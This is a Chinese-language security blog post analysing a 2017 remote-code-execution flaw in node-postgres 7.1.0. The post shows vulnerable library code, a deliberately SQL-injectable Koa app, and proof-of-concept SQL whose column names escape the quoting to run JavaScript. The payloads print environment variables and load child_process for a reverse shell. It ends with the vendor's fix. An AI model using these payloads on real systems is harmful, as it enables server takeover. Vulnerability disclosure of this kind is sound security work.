Node.js + Postgres 从注入到Getshell

phithon / 2017-11-06 17:53:00 / 浏览数 2787

【转载说明】刚才看到有同学转载我的文章。我不反对开源社区转载我的文章，但转载的时候请在文章开头著名作者及来源，避免不必要的误会好吧。如果是公司运营的博客

Postgres是现在用的比较多的数据库，包括我自己的博客，数据库都选择使用Postgres，其优点我就不展开说了。node-postgres是node中连接pg数据库的客户端，其中比

0x01 Postgres 协议分析

碳基体妹纸曾经分析过postgres的认证协议，显然pg的交互过程其实就是简单的TCP数据包的交互过程，文档中列出了所有数据报文。

其中，我们观察到，pg的通信，其实就是一些预定的message交换的过程。比如，pg返回给客户端的有一种报文叫“RowDescription”，作用是返回每一列（row）的所有字
name）。客户端拿到这个message，解析出其中的内容，即可确定字段名：

我们可以抓包试一下，关闭服务端SSL，执行`SELECT 'phithon' AS "name"`，可见客户端发送的报文头是`Simple Query`，内容就是我执行的这条SQL语句：

返回包分为4个message，分别是T/D/C/Z，查看文档可知，分别是“Row description”、“Data row”、“Command completion”、“Ready for query”：

这四者意义如下：

1. “Row description” 字段及其名字，比如上图中有一个字段，名为“name”
2. “Data row” 值，上图中值为“70686974686f6e”，其实就是“phithon”
3. “Command completion” 用来标志执行的语句类型与相关行数，比如上图中，我们执行的是select语句，返回1行数据，所以值是“SELECT 1”
4. “Ready for query” 告诉客户端，可以发送下一条语句了

至此，我们简单分析了一下postgresql的通信过程。明白了这一点，后面的代码执行漏洞，也由此拉开序幕。

0x02 漏洞触发点

安装node-postgres的7.1.0版本：`npm install pg@7.1.0`。在`node_modules/pg/lib/connection.js`可以找到连接数据库的源码：

```
Connection.prototype.parseMessage = function (buffer) {
 this.offset = 0
 var length = buffer.length + 4
 switch (this._reader.header) {
   case 0x52: // R
     return this.parseR(buffer, length)

   ...

   case 0x5a: // Z
     return this.parseZ(buffer, length)

   case 0x54: // T
     return this.parseT(buffer, length)

   ...
   }
}

...

var ROW_DESCRIPTION = 'rowDescription'
Connection.prototype.parseT = function (buffer, length) {
 var msg = new Message(ROW_DESCRIPTION, length)
 msg.fieldCount = this.parseInt16(buffer)
 var fields = []
 for (var i = 0; i < msg.fieldCount; i++) {
   fields.push(this.parseField(buffer))
 }
 msg.fields = fields
 return msg
}

...
```

可见，当this._reader.header等于"T"的时候，就进入parseT方法。0x01中介绍过T是什么，T就是“Row description”，表示返回数据的字段数及其名字。比如我执行了SELECT * FROM "user"，pg数据库需要告诉客户端user这个表究竟有哪些字段，parseT方法就是用来获取这个字段名的。

parseT中触发了rowDescription消息，我们看看在哪里接受这个事件：

```
// client.js
Client.prototype._attachListeners = function (con) {
 const self = this
 // delegate rowDescription to active query
 con.on('rowDescription', function (msg) {
   self.activeQuery.handleRowDescription(msg)
 })
...
}

// query.js
Query.prototype.handleRowDescription = function (msg) {
 this._checkForMultirow()
 this._result.addFields(msg.fields)
 this._accumulateRows = this.callback || !this.listeners('row').length
}
```

在client.js中接受了rowDescription事件，并调用了query.js中的handleRowDescription方法，handleRowDescription方法中执行this._result.addFields(msg.fi

跟进addFields方法：

```
Result.prototype.addFields = function (fieldDescriptions) {
 // clears field definitions
 // multiple query statements in 1 action can result in multiple sets
 // of rowDescriptions...eg: 'select NOW(); select 1::int;'
 // you need to reset the fields
 if (this.fields.length) {
   this.fields = []
   this._parsers = []
 }
 var ctorBody = ''
 for (var i = 0; i < fieldDescriptions.length; i++) {
   var desc = fieldDescriptions[i]
   this.fields.push(desc)
   var parser = this._getTypeParser(desc.dataTypeID, desc.format || 'text')
   this._parsers.push(parser)
   // this is some craziness to compile the row result parsing
   // results in ~60% speedup on large query result sets
   ctorBody += inlineParser(desc.name, i)
 }
 if (!this.rowAsArray) {
   this.RowCtor = Function('parsers', 'rowData', ctorBody)
 }
}
```

addFields方法中将所有字段经过inlineParser函数处理，处理完后得到结果ctorBody，传入了Function类的最后一个参数。

熟悉XSS漏洞的同学对“Function”这个类（ https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function ）应该不陌生了，在浏览器中我们可以用Function+任意字符串创造一个函数并执行：

其效果其实和eval差不多，特别类似PHP中的create_function。那么，Function的最后一个参数（也就是函数体）如果被用户控制，将会创造一个存在漏洞的函数。在

那么，ctorBody是否可以被用户控制呢？

常见BUG：转义不全导致单引号逃逸

ctorBody是经过inlineParser函数处理的，看看这个函数代码：

```
var inlineParser = function (fieldName, i) {
 return "\nthis['" +
   // fields containing single quotes will break
   // the evaluated javascript unless they are escaped
   // see https://github.com/brianc/node-postgres/issues/507
   // Addendum: However, we need to make sure to replace all
```

```
   // occurences of apostrophes, not just the first one.
   // See https://github.com/brianc/node-postgres/issues/934
   fieldName.replace(/'/g, "\\'") +
   "'] = " +
   'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}
```

可见这里是存在字符串拼接，fieldName即为我前面说的“字段名”。虽然存在字符串拼接，但这里单引号'被转义成\'：`fieldName.replace(/'/g, "\\'")`。我们在注释中也能看到开发者意识到了单引号需要“escaped”。

但显然，只转义单引号，我们可以通过反斜线\来绕过限制：

```
\' ==> \\'
```

这是一个比较普遍的BUG，开发者知道需要将单引号前面增加反斜线来转义单引号，但是却忘了我们也可以通过在这二者前面增加一个反斜线来转义新增加的转义符。所以

```
sql = `SELECT 1 AS "\\'+console.log(process.env)]=null;//"`
const res = await client.query(sql)
```

这个SQL语句其实就很简单，因为最后需要控制fieldName，所以我们需要用到AS语句来构造字段名。

动态运行后，在Function的位置下断点，我们可以看到最终传入Function类的函数体：

可见，ctorBody的值为：

```
"
this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);"
```

我逃逸了单引号，并构造了一个合法的JavaScript代码。最后，`console.log(process.env)`在数据被读取的时候执行，环境变量`process.env`被输出：

实战利用

那么，在实战中，这个漏洞如何利用呢？

首先，因为可控点出现在数据库字段名的位置，正常情况下字段名显然不可能被控制。所以，我们首先需要控制数据库或者SQL语句，比如存在SQL注入漏洞的情况下。

所以我编写了一个简单的存在注入的程序：

```
const Koa = require('koa')
const { Client } = require('pg')

const app = new Koa()
const client = new Client({
   user: "homestead",
   password: "secret",
   database: "postgres",
   host: "127.0.0.1",
   port: 54320
})
client.connect()

app.use(async ctx => {
   ctx.response.type = 'html'

   let id = ctx.request.query.id || 1
   let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
   const res = await client.query(sql)

   ctx.body = `<html>
                  <body>
                      <table>
                          <tr><th>id</th><td>${res.rows[0].id}</td></tr>
                          <tr><th>name</th><td>${res.rows[0].name}</td></tr>
                          <tr><th>score</th><td>${res.rows[0].score}</td></tr>
                      </table>
                  </body>
              </html>`
})

app.listen(3000)
```

正常情况下，传入id=1获得第一条数据：

可见，这里id是存在SQL注入漏洞的。那么，我们怎么通过SQL注入控制字段名？

一般来说，这种WHERE后的注入，我们已经无法控制字段名了。即使通过如`SELECT * FROM "user" WHERE id=-1 UNION SELECT 1,2,3 AS "\\'+console.log(process.env)]=null;//"`，第二个SELECT后的字段名也不会被PG返回，因为字段名已经被第一个SELECT定死。

但是node-postgres是支持多句执行的，显然我们可以直接闭合第一个SQL语句，在第二个SQL语句中编写POC代码：

虽然返回了500错误，但显然命令已然执行成功，环境变量被输出在控制台：

在vulhub搭建了环境，实战中遇到了一些蛋疼的问题：

- 单双引号都不能正常使用，我们可以使用es6中的反引号
- Function环境下没有require函数，不能获得`child_process`模块，我们可以通过使用`process.mainModule.constructor._load`来代替require。
- 一个fieldName只能有64位长度，所以我们通过多个fieldName拼接来完成利用

最后构造出如下POC：

```
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`e
```

发送数据包：

成功反弹shell：

漏洞修复

官方随后发布了漏洞通知： https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability 以及修复方案：
https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86

可见，最新版中将`fieldName.replace(/'/g, "\\'")`修改为`escape(fieldName)`，而escape函数来自这个库：https://github.com/joliss/js-string-escape ，其转义了大部分可能出现问题的字符。

上一篇：【译】Cisco年中安全报告（2017） 下一篇：使用TensorFlow自动识别验...

1. 1 条回复


hades 2017-11-06 18:16:47

@phithon 速度很赞 (□•□□•□)□□

0 回复Ta